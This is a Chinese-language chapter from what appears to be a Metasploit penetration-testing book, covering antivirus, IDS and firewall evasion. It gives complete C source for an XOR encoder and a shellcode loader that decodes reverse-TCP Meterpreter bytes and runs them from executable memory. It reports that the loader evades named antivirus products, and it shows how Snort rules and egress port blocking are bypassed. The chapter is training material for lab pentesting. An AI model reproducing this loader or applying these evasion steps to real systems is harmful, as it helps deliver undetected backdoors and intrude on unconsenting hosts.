第 9 章 Metasploit中的规避技术

之前的八章已经介绍了渗透测试的所有主要阶段。本章将会讲解在实际工作中渗透测试工程师经常会遇到的一些问题。只需对目标发起直接攻击,然后就可以在Metasploit中获得控制shell的时代已经过去了。在攻击范围不断扩大的今天,网络的安全机制也在日益完善。所以我们需要掌握一些灵活的方法来绕过这些安全机制。本章将介绍目标上所部署的安全机制以及规避这些机制的方法和技术。本章将着眼于以下几个要点。

好了,现在可以正式开始规避技术的学习了。

Meterpreter是安全研究人员所使用的最为流行的攻击载荷之一了。不过也正因为它的流行,使得大多数杀毒软件的病毒库中都包含了它的样本。一旦计算机上运行了Meterpreter,它就会迅速被杀毒软件查杀。现在按照下图所示使用msfvenom生成一个简单的Metasploit可执行模块。

通过执行msfvenom命令,我们创建了一个简单的反向TCP Meterpreter后门程序。另外,我们还分别为参数LHOSTLPORT赋了值,并指定了这个程序的类型为EXE,这是一种PE/COFF的可执行格式。这里我们还使用了参数-b来避免在程序中出现null字符、回车符和换行符这些可能导致程序失效的坏字符。当这条命令执行完毕之后,我们就可以看到成功生成的可执行文件了。接下来将这个可执行程序移动到apache文件夹中,然后在另外一台运行Windows 10操作系统的主机中下载并执行这个程序,这台主机中安装有Windows Defender和奇虎360两个软件。当然,不要忘记,在Windows系统中执行这个程序之前,要先在Metasploit中启动对应的handler。

可以看到,我们已经成功地在4444端口启动了对应的handler。然后在Windows系统中执行这个Meterpreter后门程序,注意观察是否成功获得了它发回的反向连接。

很可惜,看起来杀毒软件甚至都没允许下载这个程序。实际上,如果你不对Meterpreter进行任何处理的话,那么它几乎不可能在目标系统中成功完成任务。接下来快速地计算一下Sample.exe 文件的MD5散列值,这个过程如下图所示。

我们不妨将这个程序提交到一个著名的在线杀毒网站中进行测试,这个网站的地址为http://nodistribute.com/,测试的结果如下图所示。

看到了吧,这个网站提供的37个杀毒软件中有27个成功地将这个程序识别为病毒。这看起来不太妙,是吧?不过别在意,下面就来看看如何仅仅利用C语言和少量编码操作来规避这种情况。准备好,我们开始了!

为了绕过目标的安全控制机制,我们可以利用自定义编码的方法,例如XOR编码,以及其他一些编码方式。另外,这里的程序也将不再使用传统的PE/COFF格式,而是采用生成shellcode的方法。这个过程和我们之前使用msfvenom来生成PE格式的例子基本一样,不同之处在于我们需要将输出格式改为C,完整的命令如下图所示。

下图中给出了Sample.c文件的具体内容。

已经准备好了shellcode,接下来要使用C语言来编写一个编码程序。这个程序可以使用指定的字节来对shellcode进行XOR编码,在这个例子中将使用0XAA作为编码字节,过程如下。

下面给出了一个使用C语言编写的完整的编码程序。

#include <Windows.h>
#include "stdafx.h"
#include <iostream>
#include <iomanip>
#include <conio.h>
unsigned char buf[] =
"\xbe\x95\xb2\x95\xfe\xdd\xc4\xd9\x74\x24\xf4\x5a\x31\xc9\xb1"
"\x56\x83\xc2\x04\x31\x72\x0f\x03\x72\x9a\x50\x60\x02\x4c\x16"
"\x8b\xfb\x8c\x77\x05\x1e\xbd\xb7\x71\x6a\xed\x07\xf1\x3e\x01"
"\xe3\x57\xab\x92\x81\x7f\xdc\x13\x2f\xa6\xd3\xa4\x1c\x9a\x72"
"\x26\x5f\xcf\x54\x17\x90\x02\x94\x50\xcd\xef\xc4\x09\x99\x42"
"\xf9\x3e\xd7\x5e\x72\x0c\xf9\xe6\x67\xc4\xf8\xc7\x39\x5f\xa3"
"\xc7\xb8\x8c\xdf\x41\xa3\xd1\xda\x18\x58\x21\x90\x9a\x88\x78"
"\x59\x30\xf5\xb5\xa8\x48\x31\x71\x53\x3f\x4b\x82\xee\x38\x88"
"\xf9\x34\xcc\x0b\x59\xbe\x76\xf0\x58\x13\xe0\x73\x56\xd8\x66"
"\xdb\x7a\xdf\xab\x57\x86\x54\x4a\xb8\x0f\x2e\x69\x1c\x54\xf4"
"\x10\x05\x30\x5b\x2c\x55\x9b\x04\x88\x1d\x31\x50\xa1\x7f\x5d"
"\x95\x88\x7f\x9d\xb1\x9b\x0c\xaf\x1e\x30\x9b\x83\xd7\x9e\x5c"
"\x92\xf0\x20\xb2\x1c\x90\xde\x33\x5c\xb8\x24\x67\x0c\xd2\x8d"
"\x08\xc7\x22\x31\xdd\x7d\x29\xa5\x1e\x29\x27\x50\xf7\x2b\x38"
"\x8b\x5b\xa2\xde\xfb\x33\xe4\x4e\xbc\xe3\x44\x3f\x54\xee\x4b"
"\x60\x44\x11\x86\x09\xef\xfe\x7e\x61\x98\x67\xdb\xf9\x39\x67"
"\xf6\x87\x7a\xe3\xf2\x78\x34\x04\x77\x6b\x21\x73\x77\x73\xb2"
"\x16\x77\x19\xb6\xb0\x20\xb5\xb4\xe5\x06\x1a\x46\xc0\x15\x5d"
"\xb8\x95\x2f\x15\x8f\x03\x0f\x41\xf0\xc3\x8f\x91\xa6\x89\x8f"
"\xf9\x1e\xea\xdc\x1c\x61\x27\x71\x8d\xf4\xc8\x23\x61\x5e\xa1"
"\xc9\x5c\xa8\x6e\x32\x8b\xaa\x69\xcc\x49\x85\xd1\xa4\xb1\x95"
"\xe1\x34\xd8\x15\xb2\x5c\x17\x39\x3d\xac\xd8\x90\x16\xa4\x53"
"\x75\xd4\x55\x63\x5c\xb8\xcb\x64\x53\x61\xfc\x1f\x1c\x96\xfd"
"\xdf\x34\xf3\xfe\xdf\x38\x05\xc3\x09\x01\x73\x02\x8a\x36\x8c"
"\x31\xaf\x1f\x07\x39\xe3\x60\x02";

int main()
{
 for (unsigned int i = 0; i < sizeof buf; ++i)
 {
  if (i % 15 == 0)
  {
   std::cout << "\"\n\"";
  }
  unsigned char val = (unsigned int)buf[i] ^ 0xAA;
  std::cout << "\\x" << std::hex << (unsigned int)val;
 }
 _getch();
 return 0;
}

这是一个非常简单的程序,其中数组buf[]的值就是我们前面生成的shellcode。我们通过遍历操作,分别将数组中的每一个字节与0xAA进行XOR操作,并将结果输出到屏幕上。编译并运行这个程序将输出如下图所示的经过编码的攻击载荷。

现在我们已经获得了一个完成了编码转换的攻击载荷,下面需要做的就是编写一个可以解码的子程序,它的作用是将当前经过编码的攻击载荷重新转换为初始的攻击载荷。这个解密子程序将作为整个程序的最后部分,被传送到目标上。下面的图示更加明确地演示了这个解密子程序的工作原理。

可以看到在这个程序执行后,经过编码的shellcode又被还原成初始格式,并且得到了执行。下面编写一个简单的C程序来演示这个过程。

#include"stdafx.h"
#include <Windows.h>
#include <iostream>
#include <iomanip>
#include <conio.h>
unsigned char encoded[] =
"\x14\x3f\x18\x3f\x54\x77\x6e\x73\xde\x8e\x5e\xf0\x9b\x63\x1b"
"\xfc\x29\x68\xae\x9b\xd8\xa5\xa9\xd8\x30\xfa\xca\xa8\xe6\xbc"
"\x21\x51\x26\xdd\xaf\xb4\x17\x1d\xdb\xc0\x47\xad\x5b\x94\xab"
"\x49\xfd\x01\x38\x2b\xd5\x76\xb9\x85\xc\x79\x0e\xb6\x30\xd8"
"\x8c\xf5\x65\xfe\xbd\x3a\xa8\x3e\xfa\x67\x45\x6e\xa3\x33\xe8"
"\x53\x94\x7d\xf4\xd8\xa6\x53\x4c\xcd\x6e\x52\x6d\x93\xf5\x9"
"\x6d\x12\x26\x75\xeb\x9\x7b\x70\xb2\xf2\x8b\x3a\x30\x22\xd2"
"\xf3\x9a\x5f\x1f\x2\xe2\x9b\xdb\xf9\x95\xe1\x28\x44\x92\x22"
"\x53\x9e\x66\xa1\xf3\x14\xdc\x5a\xf2\xb9\x4a\xd9\xfc\x72\xcc"
"\x71\xd0\x75\x01\xfd\x2c\xfe\xe0\x12\xa5\x84\xc3\xb6\xfe\x5e"
"\xba\xaf\x9a\xf1\x86\xff\x31\xae\x22\xb7\x9b\xfa\xb\xd5\xf7"
"\x3f\x22\xd5\x37\x1b\x31\xa6\x5\xb4\x9a\x31\x29\x7d\x34\xf6"
"\x38\x5a\x8a\x18\xb6\x3a\x74\x99\xf6\x12\x8e\xcd\xa6\x78\x27"
"\xa2\x6d\x88\x9b\x77\xd7\x83\xf\xb4\x83\x8d\xfa\x5d\x81\x92"
"\x21\xf1\x8\x74\x51\x99\x4e\xe4\x16\x49\xee\x95\xfe\x44\xe1"
"\xca\xee\xbb\x2c\xa3\x45\x54\xd4\xcb\x32\xcd\x71\x53\x93\xcd"
"\x5c\x2d\xd0\x49\x58\xd2\x9e\xae\xdd\xc1\x8b\xd9\xdd\xd9\x18"
"\xbc\xdd\xb3\x1c\x1a\x8a\x1f\x1e\x4f\xac\xb0\xec\x6a\xbf\xf7"
"\x12\x3f\x85\xbf\x25\xa9\xa5\xeb\x5a\x69\x25\x3b\xc\x23\x25"
"\x53\xb4\x40\x76\xb6\xcb\x8d\xdb\x27\x5e\x62\x89\xcb\xf4\xb"
"\x63\xf6\x2\xc4\x98\x21\x00\xc3\x66\xe3\x2f\x7b\xe\x1b\x3f"
"\x4b\x9e\x72\xbf\x18\xf6\xbd\x93\x97\x6\x72\x3a\xbc\xe\xf9"
"\xdf\x7e\xff\xc9\xf6\x12\x61\xce\xf9\xcb\x56\xb5\xb6\x3c\x57"
"\x75\x9e\x59\x54\x75\x92\xaf\x69\xa3\xab\xd9\xa8\x20\x9c\x26"
"\x9b\x5\xb5\xad\x93\x49\xca\xa8\xaa";
int main()
{
 void *exec = VirtualAlloc(0, sizeof encoded, MEM_COMMIT,
PAGE_EXECUTE_READWRITE);

 for (unsigned int i = 0; i < sizeof encoded; ++i)
 {
  unsigned char val = (unsigned int)encoded[i] ^ 0xAA;
  encoded[i] = val;
 }
 memcpy(exec, encoded, sizeof encoded);
 ((void(*)())exec)();
 return 0;
}

这也是一个非常简单的程序。我们使用函数VirtualAlloc()来调用进程的虚地址空间。接下来使用函数memcpy()将解码之后的字节复制到VirtualAlloc指针所指向的空间中。然后执行这个空间中的字节。现在可以测试这个程序了,注意观察它是如何在目标环境中工作的。可以使用和之前一样的方法来查看程序的MD5散列值,如下图所示。

我们可以试着下载并执行这个程序,过程如下图所示。

我们很顺利地完成了下载操作!这正是我们想要的。至于弹出的“未知文件”对话框,你完全不必担心,这只是表示这个程序是一个未知文件。现在我们试着执行这个程序,过程如下所示。

不错吧,我们现在成功地在一台装有奇虎360杀毒软件的64位Windows 10操作系统上获得了Meterpreter的控制权限,要知道这个系统可是受到了完善的保护并安装了当前所有的补丁和更新。接下来不妨再到http://nodistribute.com/测试一下这个程序。

可以看到,一些杀毒软件仍然将这个程序标记为恶意软件。不过,我们的技术躲过了这些主流杀毒软件的查杀,包括Avast、AVG、Avira、Kaspersky、Comodo,甚至是Norton和McAfee。其余的9个杀毒软件也可以通过延迟执行、文件抽取(file pumping)等技术绕过。为了确认这次查杀的结果,我们在文件上单击鼠标右键,然后选择使用奇虎360扫描。

没问题!在整个练习过程中,我们学习了攻击载荷是如何从可执行状态转化到shellcode形态的。同时我们也见识到了一个小小的自定义编码程序在规避杀毒软件查杀时的神奇作用。

如果目标所在的网络部署了入侵检测系统,那么你与目标之间的会话可能很快就会被切断。Snort是一种十分常见的IDS,当它在网络上发现异常时,就会快速地发出警报。下面来考虑一种现实中的常见情形:对一个Rejetto HFS服务器进行渗透,但是目标网络上启用了Snort IDS。

在上面的左图中可以看到,我们已经成功获得了Meterpreter会话。然而,上面的右图显示这个会话出了问题。我必须承认,Snort团队和交流社区所制定的规则非常严格,它们往往很难规避。因此,为了更好地学习Metasploit中的规避技术,我们先来了解一下Snort技术。首先使用Snort创建一个简单的规则,它可以检测到HFS服务器的登录行为,规则内容如下。

alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"SERVER-WEBAPP
Rejetto HttpFileServer Login attempt"; content:"GET"; http_method;
classtype:web-application-attack; sid:1000001;)

这个规则十分简单,当任何来自外部网络的GET请求(无论使用什么端口)试图连接到目标网络中的HTTP端口时,都会显示消息“SERVER-WEBAPP RejettoHttpFileServer Login attempt”。你能想出一个规避这种标准规则的方法吗?我们将在下一节给出答案。

既然现在研究的对象是HTTP请求,那么我们可以使用Burp repeater这个工具来进行快速测试。这里我们需要同时使用Snort和Burp这两种工具来进行一些测试。

可以看到,当我们向目标URI发送一个请求的时候,这个过程就被Snort记录下来了,这对于入侵者来说可不是一个好消息。不过,我们已经看过了这条规则的内容,并且知道Snort的工作方式是尝试对请求中GET的内容进行检查。现在我们尝试对GET请求进行修改,并再次发送这个请求,如下所示。

结果没有产生任何的记录!看来我们找对思路了。我们刚刚看到了这个案例中的修改方法,并成功规避了Snort中一个简单的规则。但是我们仍然不知道如何使用Metasploit来实现这一技术。下面就来看看Metasploit中提供的规避方法,如下所示。

这里面提供了大量可以使用的规避方法。我想你心中已经有答案了。不过如果你没想到也没关系,这里我们要使用的是HTTP::method_random_case选项。下面给出了这个模块的使用方法。

下面要对目标发起攻击了。

障碍已经被清除了,我们轻而易举地规避了Snort的检测规则。在下一节中,我们将面对更加复杂的情况。

和前面的方法类似,我们可以使用Metasploit中的伪造目录关系功能来篡改目录,最终达到相同的效果。让我们看看下面的规则。

可以看到,前面的Snort规则仅对content部分内容为POST /script的入站数据包进行检查。解决这个问题有很多种方法,这里介绍一个全新的方法:伪造目录关系。这种技术会在要访问的目录地址前面添加随机的内容。例如,如果要访问的文件位于/Nipun/abc.txt处,则这个模块会使用类似于/root/whatever/../../Nipun/abc.txt的地址,这意味着它虽然使用了其他的地址,但是最终返回到了同一个目录。因此,这使得URL变得足够长,足以使IDS失去作用。我们来考虑一个例子。

在这个练习中,我们将使用jenkins_script_console漏洞模块来完成对运行在192.168.1.149上的目标进行渗透攻击,这个过程如下图所示。

可以看到,Jenkins运行在IP地址为192.168.1.149的主机的8888端口上。接下来就可以使用exploit/multi/http/Jenkins_script_console模块来渗透目标了。上图中已经完成了对RHOSTRPORTTARGEURI几个参数的设置,现在可以开始对系统进行渗透攻击了。

搞定了!我们已经轻松获得了控制目标的Meterpreter权限。下面看看Snort是怎么记录我们这次的攻击过程的。

不妙,看起来好像被Snort发现了!我们要在Metasploit中按如下所示设置规避选项。

现在重新运行这个模块,看看是否仍然会被Snort发现。

什么都没被记录下来!我们来看看渗透模块这边的操作界面。

干得漂亮!我们又一次躲过了Snort的检查!你可以尝试使用各种Snort规则,以便更好地了解它的工作机制。

当我们试图在目标Windows操作系统中执行Meterpreter时,经常会发现无法成功建立控制会话。这种情形多半是由于目标系统的管理员使用防火墙对特定端口进行了阻塞造成的。在下面这个例子中,我们试着使用Metasploit中一个非常灵巧的攻击载荷来规避防御机制。首先快速建立一个如下的场景。

我们建立了一条新的防火墙规则,并指定将其应用在远程主机的4444~6666端口上。接下来进行设置,以阻止试图使用这些端口的出站流量,如下图所示。

检查一下防火墙状态和我们刚刚制定的规则。

可以看到这条规则已经建立好了,而且家庭网络和公共网络上都启用了防火墙。我们在目标上运行了Disk Pulse Enterprise软件。在前面的章节中,我们已经完成了对这个软件的渗透。下面试着执行这个渗透模块。

可以看到这个渗透模块运行了,但是我们没有获得目标的控制权限,这是因为防火墙阻止了4444端口上的会话流量。

为了规避这种情况,我们将会使用windows/meterpreter/reverse_tcp_allports模块。这个模块会尝试测试每一个端口,然后为我们选择一个没有被阻塞的端口。另外,因为我们只监听端口4444,所以需要将所有随机端口的流量重新定向到4444端口上。通过如下图所示的命令可以完成这个任务。

让我们使用反向tcp Meterpreter攻击载荷来对所有端口再次执行这个渗透模块。

可以看到,我们可以轻松获得了控制目标的Meterpreter权限。我们成功规避了Windows防火墙并建立了Meterpreter连接。当管理员预先对入站和出站的端口进行了安全设置之后,我们就可以使用这种方法。

此时,你可能想知道这个技术实现起来是不是很复杂,或者感到十分困惑。让我们使用Wireshark来观察整个过程,这一切在数据包的层次下就容易理解多了。

可以看到,最开始数据从我们的Kali计算机向目标的80端口上发送,这些精心构造的数据导致了目标缓冲区的溢出。当攻击成功之后,就会建立一条从目标系统到我们Kali计算机上6667端口(被阻塞端口范围之外的第一个端口)的控制连接。另外,由于我们在自己的Kali机上将从4444到7777的所有端口都映射到了4444端口上,所有来自这些端口的流量都将最终返回到端口4444上,我们最终得到了Meterpreter的控制权限。

在本章中,我们学习了使用自定义编码器的杀毒软件规避技术,绕过了IDS的特征匹配过滤技术,并且还使用all-TCP-ports Meterpreter模块规避了防火墙的端口阻塞机制。

你可以试着进行如下练习来提高你的规避技巧。

下一章将会用到这些技术,我们也会更深入地领略Metasploit的神奇之处。